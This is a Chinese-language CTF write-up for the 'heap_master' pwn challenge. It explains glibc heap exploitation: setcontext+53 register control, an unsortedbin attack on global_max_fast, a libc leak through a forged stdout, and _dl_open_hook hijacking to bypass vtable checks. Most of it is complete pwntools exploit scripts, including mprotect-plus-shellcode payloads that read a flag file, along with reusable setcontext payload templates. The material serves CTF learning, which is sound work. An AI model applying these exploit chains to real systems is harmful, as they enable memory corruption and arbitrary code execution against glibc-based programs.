非常精彩的一题,对题目了解越深入发现自己越菜.
很自由的一题但是了解下去发现题目的各个思路还是很巧妙的. 先讲几个在这题中学到新姿势
其作用是用户上下文的获取和设置
所以我们在可以小范围控制执行流已知libc_base但不足以完成我们的目标时可以先跳setcontext+53来扩大控制范围..
感觉非常好用..可以直接控制大部分寄存器和执行流.
0x7ffff7a7d4a0 <setcontext>: push rdi
0x7ffff7a7d4a1 <setcontext+1>: lea rsi,[rdi+0x128]
0x7ffff7a7d4a8 <setcontext+8>: xor edx,edx
0x7ffff7a7d4aa <setcontext+10>: mov edi,0x2
0x7ffff7a7d4af <setcontext+15>: mov r10d,0x8
0x7ffff7a7d4b5 <setcontext+21>: mov eax,0xe
0x7ffff7a7d4ba <setcontext+26>: syscall
0x7ffff7a7d4bc <setcontext+28>: pop rdi
0x7ffff7a7d4bd <setcontext+29>: cmp rax,0xfffffffffffff001
0x7ffff7a7d4c3 <setcontext+35>: jae 0x7ffff7a7d520 <setcontext+128>
0x7ffff7a7d4c5 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7ffff7a7d4cc <setcontext+44>: fldenv [rcx]
0x7ffff7a7d4ce <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7ffff7a7d4d5 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a7d4dc <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a7d4e3 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a7d4e7 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a7d4eb <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a7d4ef <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a7d4f3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a7d4f7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a7d4fe <setcontext+94>: push rcx
0x7ffff7a7d4ff <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a7d503 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a7d50a <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a7d511 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a7d515 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a7d519 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a7d51d <setcontext+125>: xor eax,eax
0x7ffff7a7d51f <setcontext+127>: ret
0x7ffff7a7d520 <setcontext+128>: mov rcx,QWORD PTR [rip+0x356951] # 0x7ffff7dd3e78
0x7ffff7a7d527 <setcontext+135>: neg eax
0x7ffff7a7d529 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x7ffff7a7d52c <setcontext+140>: or rax,0xffffffffffffffff
0x7ffff7a7d530 <setcontext+144>: ret
常见做法是用来call mprotec->jmp shellcode
虽然之前常听说攻击这个的方法但是没有实践过.
unsortedbin atk+partial write to modify global_max_fast(1/16)之后free一些预先设定好size的chunk就可以覆盖掉一些关键数据:main_arean,_IO_list_all,stdout,_dl_open_hook…
本题就用了 控制global_max_fast+stout操作来实现leak
其中比较不尽人意的是fake_stdou需要自己把一些关键值填好,所以需要在已有chunk中有比较随意的写(指定offset的read).
这个点在之前babytcache中有详细讲过.有时候泄露的内容比较少可以夸张一点partial write 两个字\x00\x00节可能会泄露一些你想要的地址.比如这题中mmap的地址.
😅我的exp泄露出来了了mmap的地址…我少写了8字节..结果就泄露出来了.后来就不想改了
可能是发现IO_file太好用了…glibc-2.24开始对vtable进行检测.
对使用vtable前先来个简单的check:IO_validate_vtable
//https://code.woboq.org/userspace/glibc/libio/libioP.h.html#IO_validate_vtable
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
比较好理解.就是check一下当前的vatable地址是否在__start___libc_IO_vtables和__stop___libc_IO_vtables之间没有就用_IO_vtable_check()判断
gdb下看了一下发现那之间存放有很多的vtable但是没有剩余的空间.
而且是只读区域.感觉这里难以下手
不过先知上好像有一种利用方法…日后再啃
//https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
上面的源码应该是新版libc的不过2.25也差不多
Dl_info di;
56 struct link_map *l;
► 57 if (_dl_open_hook != NULL
58 || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
59 && l->l_ns != LM_ID_BASE))
60 return;
在__libc_fatal前有三个ret但是一般我们的binary都是!SHARED所以常见的绕过方式可以是改写__dlopen,可以通过改写global_fast_max后盖掉_dl_open_hook或者通过unsorted bin atk改写_dl_open_hook
_dl_open_hook
在最近的libc内_dl_open_hook结构如下
static struct dl_open_hook _dl_open_hook =
{
.dlopen_mode = __libc_dlopen_mode,
.dlsym = __libc_dlsym,
.dlclose = __libc_dlclose,
.dlvsym = __libc_dlvsym,
};
有两个域会在malloc_printerr中被trigger:
//https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#malloc_printerr
malloc_printerr (const char *str)
{
__libc_message (do_abort, "%s\n", str);
__builtin_unreachable ();
}
跟踪函数调用链发现:
__libc_message—>backtrace_and_maps—>__GI___backtrace—>init
https://code.woboq.org/userspace/glibc/debug/backtrace.c.html#50
static void
init (void)
{
libgcc_handle = __libc_dlopen (LIBGCC_S_SO);
if (libgcc_handle == NULL)
return;
unwind_backtrace = __libc_dlsym (libgcc_handle, "_Unwind_Backtrace");
unwind_getip = __libc_dlsym (libgcc_handle, "_Unwind_GetIP");
if (unwind_getip == NULL)
unwind_backtrace = NULL;
unwind_getcfa = (__libc_dlsym (libgcc_handle, "_Unwind_GetCFA")
?: dummy_getcfa);
}
在init函数中调用了__libc_dlopen,__libc_dlsym其中调用了_dl_open_hook的第一,二个域所以我们可以在hijacking的同时设置_dl_open_hook的第一二个域.
可以和上面讲到的setcontext连起来使用.
在__libc_dlsym会call _dl_open_hook.dlsym此时rdi=_dl_open_hook所以我们可以通过setcontext来完成对执行流的控制.
还有一点技巧的是想做house of orange时也会触发以上函数所以最好填上ret的gadget
有个老哥搞了个完整的debug组件
https://github.com/ray-cp/pwn_debug/blob/master/build.sh
…我就偷了他的build.sh来提升我的做题体验…感觉有了符号体验好多了
主要原理是下载对应版本的libc源码之后编译,debug的时候LD_PRELOAD进来
不过注意不同版本的libc需要复制一份LD到/lib64/Ld****
之后再patch掉binary
wiki
chroot是在unix系统的一个操作，针对正在运作的软件行程和它的子进程，改变它外显的根目录。一个运行在这个环境下，经由chroot设置根目录的程序，它不能够对这个指定根目录之外的文件进行访问动作，不能读取，也不能更改它的内容。chroot这一特殊表达可能指chroot(2)系统调用或chroot(8)前端程序。
由chroot创造出的那个根目录，叫做“chroot监狱”（chroot jail，或chroot prison）
用的不多…做了半天才发这题是用了chroot
$ cat pwn
#!/bin/bash
cd `dirname $0`
exec 2>/dev/null
echo ICMgICAjICAgICMjIyMgICAgIyMjIyMgICMjIyMjIwogICMgIyAgICAjICAgICMgICAgICMgICAgIwojIyMgIyMjICAjICAgICAgICAgICMgICAgIyMjIyMKICAjICMgICAgIyAgICAgICAgICAjICAgICMKICMgICAjICAgIyAgICAjICAgICAjICAgICMKICAgICAgICAgICMjIyMgICAgICAjICAgICMK | base64 -d
timeout 60 chroot --userspec=pwn:pwn ./ ./heap_master
然后在这里 了解了一下chroot===>https://linux.cn/article-3068-1.html
才发现其实这题是在ubuntu16.04的docker但是实际的root_dir是/home/pwn/所以libc&ld用的是2.25的
glibc-2.24以上对vtable的调用就有了检查(我在ubuntu 16.04 下调试发现 如果直接用one_gadget或者house of orange或者system('/bin/sh')都会因为 LD_PRELOAD="xxxx"环境变量crash掉,最后结合了balsn和官方的做法open-read-write,因为远端环境关掉了在docker上还未有时间去测试,所以不清楚会crash是因为chroot还是因为我的调试环境有时间做个测试).
binary
timeout 60 chroot --userspec=pwn:pwn ./ ./heap_master
所以虽然是ubuntu16:04但是使用/share/lib中的libc-2.25.so…
之前没怎么见过这种方式…
导致调试的时候
如果env={'LD_PRELOAD':'/glibc/x64/2.25/lib/libc-2.25.so'}时
fork进程会因为环境变量env而crash…
才知道不能直接fork开shell
checksec:全保护
[*] '/home/n132/Desktop/heap_master/heap_master'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
题目很有意思主要有三个功能edit,add,free
add中可以malloc任意size但是不反回获得的chunkeidit可以对题目中mmap的区域中的任意地址做任意长度的写.free可以对题目中mmap的区域中的任意地址做free操作
可以说是在mmap内非常自由了
但是题目的难点是我们无法自由地做在mmap区域外的写只能靠ptmalloc的机制往外面填一些东西.心路历程:
mmap区域外的写===> 我们可能难以任意控制hookIO_file的vtable 攻击完成攻击_dl_open_hook的方法去passby checkglobal_max_faststdout……
global_max_fast_dl_open_hooklibc_base_dl_open_hook(ret,setcontext,….)先放上一个因为前面所说的env问题失败的exp
from pwn import *
def cmd(c):
p.sendlineafter(">> ",str(c))
def add(size):
cmd(1)
p.sendlineafter("size: ",str(size))
def edit(off,c):
cmd(2)
p.sendlineafter("set: ",str(off))
p.sendlineafter("size: ",str(len(c)))
p.sendafter("content: ",c)
def free(off):
cmd(3)
p.sendlineafter("set: ",str(off))
context.log_level='debug'
#p=process('./heap_master',env={'LD_PRELOAD':"/glibc/x64/2.25/lib/libc-2.25.so"})
p=process("./heap_master",env={'LD_PRELOAD':"./libc.so.6"})
#libc=ELF("/glibc/x64/2.25/lib/libc-2.25.so")
libc=ELF("./libc.so.6")
##FAKE STDOUT 's off:0x620
for x in range(14):
edit(0x610+x*0x10,p64(0)+p64(0x301))
edit(0x900,p64(0x21)*0x30)
for x in range(14):
free(0x620+0x10*(13-x))
add(0x2f8)
# so lets fill the fake chunk like... ooh , our fake_Stdout start's off:0x1000
'''
0x7ffff7dd5600 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd5683
0x7ffff7dd5610 <_IO_2_1_stdout_+16>: 0x00007ffff7dd5683 0x00007ffff7dd5683
0x7ffff7dd5620 <_IO_2_1_stdout_+32>: 0x00007ffff7dd5683 0x00007ffff7dd5683
0x7ffff7dd5630 <_IO_2_1_stdout_+48>: 0x00007ffff7dd5683 0x00007ffff7dd5683
0x7ffff7dd5640 <_IO_2_1_stdout_+64>: 0x00007ffff7dd5684 0x0000000000000000
0x7ffff7dd5650 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd5660 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd48c0
0x7ffff7dd5670 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7ffff7dd5680 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7dd6760
0x7ffff7dd5690 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd56a0 <_IO_2_1_stdout_+160>: 0x00007ffff7dd4780 0x0000000000000000
0x7ffff7dd56b0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd56c0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd56d0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dd1440
'''
'''
edit(0x670,p64(0)+p64(0x81))
edit(0x670+0x80,p64(0x21)*5)
edit(0x770,p64(0)+p64(0x81))
edit(0x770+0x80,p64(0x21)*5)
free(0x680)
free(0x780)
#'''
edit(0x620,p64(0xfbad1800)+"\x00".ljust(0x10,'\x00')+'\x00\x50')
#edit(0x640,'\x83\x56')
for x in range(4):
edit(0x648+x*8,'\x83\x56')
edit(0x660,'\x84')
edit(0x668,'\x00'*0x20)
edit(0x688,'\xc0\x48')
edit(0x690,p64(1)+p64(0xffffffffffffffff)+p64(0x000000000a000000)+'\x60\x67')
edit(0x6b0,p64(0xffffffffffffffff)+p64(0)+'\x80\x47')
edit(0x6c8,p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2+'\x40\x14')
#D0ne.... so let's get the control of global fast max
edit(0,p64(0)+p64(0x91)+'\x00'*0x88+p64(0x21)*5)
free(0x10)
edit(0x10,p64(0)+'\xc0\x67')
add(0x88)
# get it!
edit(0x620,p64(0xfbad1800)+p64(0x17e1))
edit(0x620+0x17d8,p64(0x21)*0x20)
free(0x630)
p.read(0x10)
magic=u64(p.read(8))
p.read(0x10)
base=u64(p.read(8))-(0x7ffff7dd4b68-0x7ffff7a37000)
log.warning(hex(magic))
log.warning(hex(base))
libc.address=base
# Modify the _dl_open_hook
n=0x18+2283-10+4
edit(0x1000,p64(0)+p64(0x10*n+1)+'\x00'*(0x10*n-8)+p64(0x21)*5)
free(0x1010)
one=0x3fe36+base
'''
'''
edit(0x1000,p64(0x000555555554FC0)+p64(0x7ffff7b15e89)+p64(0))
# _dl_open_hook get
# _IO_list_all 0x7ffff7dd5500
n=0x18
edit(0x2000,p64(0)+p64(0x10*n+1)+'\x00'*(0x10*n-8)+p64(0x21)*5)
free(0x2010)
n=320+1
edit(0x2000,p64(0)+p64(0x10*n+1)+'\x00'*(0x10*n-8)+p64(0x21)*5)
free(0x2010)
system=libc.sym['system']
#
fio=magic+0x2000
fake = "/bin/sh\x00"+p64(0x61)+p64(0)+p64(0)+p64(0)+p64(1)
fake =fake.ljust(0xa0,'\x00')+p64(fio+0x8)
fake =fake.ljust(0xc0,'\x00')+p64(1)
fake = fake.ljust(0xd8, '\x00')+p64(fio+0xd8-0x10)+p64(libc.symbols['system'])
edit(0x2000,fake)
'''
0x3fe36 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x3fe8a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xd6175 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
#gdb.attach(p,'b *0x7ffff7ab0a30')
gdb.attach(p,'b _IO_vtable_check')
cmd("A")
p.interactive()
概率(1/16):实际好像更高…可能stdou内容有些东西可能不需要那么精准..
from pwn import *
def cmd(c):
p.sendlineafter(">> ",str(c))
def add(size):
cmd(1)
p.sendlineafter("size: ",str(size))
def edit(off,c):
cmd(2)
p.sendlineafter("set: ",str(off))
p.sendlineafter("size: ",str(len(c)))
p.sendafter("content: ",c)
def free(off):
cmd(3)
p.sendlineafter("set: ",str(off))
#context.log_level='debug'
context.arch='amd64'
p=process('./heap_master',env={'LD_PRELOAD':"/glibc/x64/2.25/lib/libc-2.25.so"})
#p=process("./heap_master",env={'LD_PRELOAD':"./libc.so.6"})
libc=ELF("/glibc/x64/2.25/lib/libc-2.25.so")
#libc=ELF("./libc.so.6")
##FAKE STDOUT 's off:0x620
for x in range(14):
edit(0x610+x*0x10,p64(0)+p64(0x301))
edit(0x900,p64(0x21)*0x30)
for x in range(14):
free(0x620+0x10*(13-x))
add(0x2f8)
# so lets fill the fake chunk like... ooh , our fake_Stdout start's off:0x1000
'''
0x7ffff7dd5600 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd5683
0x7ffff7dd5610 <_IO_2_1_stdout_+16>: 0x00007ffff7dd5683 0x00007ffff7dd5683
0x7ffff7dd5620 <_IO_2_1_stdout_+32>: 0x00007ffff7dd5683 0x00007ffff7dd5683
0x7ffff7dd5630 <_IO_2_1_stdout_+48>: 0x00007ffff7dd5683 0x00007ffff7dd5683
0x7ffff7dd5640 <_IO_2_1_stdout_+64>: 0x00007ffff7dd5684 0x0000000000000000
0x7ffff7dd5650 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd5660 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd48c0
0x7ffff7dd5670 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7ffff7dd5680 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7dd6760
0x7ffff7dd5690 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd56a0 <_IO_2_1_stdout_+160>: 0x00007ffff7dd4780 0x0000000000000000
0x7ffff7dd56b0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd56c0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd56d0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dd1440
'''
edit(0x620,p64(0xfbad1800)+"\x00".ljust(0x10,'\x00')+'\x00\x50')
#edit(0x640,'\x83\x56')
for x in range(4):
edit(0x648+x*8,'\x83\x56')
edit(0x660,'\x84')
edit(0x668,'\x00'*0x20)
edit(0x688,'\xc0\x48')
edit(0x690,p64(1)+p64(0xffffffffffffffff)+p64(0x000000000a000000)+'\x60\x67')
edit(0x6b0,p64(0xffffffffffffffff)+p64(0)+'\x80\x47')
edit(0x6c8,p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2+'\x40\x14')
#D0ne.... so let's get the control of global fast max
edit(0,p64(0)+p64(0x91)+'\x00'*0x88+p64(0x21)*5)
free(0x10)
edit(0x10,p64(0)+'\xc0\x67')
add(0x88)
# get it!
edit(0x620,p64(0xfbad1800)+p64(0x17e1))
edit(0x620+0x17d8,p64(0x21)*0x20)
free(0x630)
p.read(0x10)
magic=u64(p.read(8))
p.read(0x10)
base=u64(p.read(8))-(0x7ffff7dd4b68-0x7ffff7a37000)-(0x7ffff7a37000-0x7ffff7a3b000)
log.warning(hex(magic))
log.warning(hex(base))
libc.address=base
# Modify the _dl_open_hook
n=0x18+2283-10
edit(0x1000,p64(0)+p64(0x10*n+1)+'\x00'*(0x10*n-8)+p64(0x21)*5)
free(0x1010)
# _dl_open_hook get
# _IO_list_all 0x7ffff7dd5500
payload=p64(0x7ffff7b15e89-0x7ffff7a3b000+base)+p64(0x7ffff7a7d4d5-0x7ffff7a3b000+base)+p64(0)
payload=payload.ljust(0x68)+p64(magic)+p64(0x10000)
payload=payload.ljust(0x88)+p64(0x7)
payload=payload.ljust(0xa0,'\x00')+p64(magic+0x2964)+p64(libc.sym['mprotect'])
edit(0x1000,payload)
shellcode='''
xor rax,rax
xor rdi,rdi
xor rdx,rdx
xor rsi,rsi
mov al,2
mov rdi,0x0067616c662f2e
sub rsp,0x100
push rdi
mov rdi,rsp
syscall
mov al,0
mov rdi,4
mov rsi,{}
mov rdx,0x100
syscall
mov al,1
mov rdi,1
mov rsi,{}
mov rdx,0x23
syscall
'''
shellcode=shellcode.format(hex(magic+0x2699),hex(magic+0x2699))
n132=asm(shellcode)
edit(0x2964,p64(magic+0x296c)+n132)
'''
0x7ffff7a7d4d5 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a7d4dc <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a7d4e3 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
n132>>>
0x7ffff7a7d4e7 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a7d4eb <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a7d4ef <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a7d4f3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a7d4f7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a7d4fe <setcontext+94>: push rcx
0x7ffff7a7d4ff <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a7d503 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
n132>>>
0x7ffff7a7d50a <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a7d511 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a7d515 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a7d519 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a7d51d <setcontext+125>: xor eax,eax
0x7ffff7a7d51f <setcontext+127>: ret
'''
'''
gdb.attach(p,"""
b _IO_vtable_check
""")
'''
free(299)
p.interactive()
'''
_dl_open_hook:0x7ffff7dd62e0
stdout:0x7ffff7dd2708
global_fast_max:0x7ffff7dd67d0
'''
__free_hook -> setcontext+0x35rsp=heap+0x800
rdi=heap
rsi=0x1000
rdx=7
call=libc.sym['mprotect']
payload=p64(0)+p64(libc.sym['setcontext']+0x35)
payload=payload.ljust(0x68,'\0')+p64(rdi)+p64(rsi)
payload=payload.ljust(0x88)+p64(rdx)
payload=payload.ljust(0xa0,'\x00')+p64(rsp)+p64(call)
orange call setcontext+0x35rsp=heap+0x800
rdi=heap
rsi=0x1000
rdx=7
call=libc.sym['mprotect']
payload=
payload=payload.ljust(0x68)+p64(rdi)+p64(rsi)
payload=payload.ljust(0x88)+p64(rdx)
payload=payload.ljust(0xa0,'\x00')+p64(rsp)+p64(call)
It’s useful on ubuntu 16 - ubuntu 18 but not in ubuntu 19.04, there is part of souce code of setcontext@glibc-19.04:
//setcontext
push rdi
....
pop rdx
...
mov rsp,QWORD PTR [rdx+0xa0]
so we lose setcontext+0x35 on 19.04 or other libcs are later published.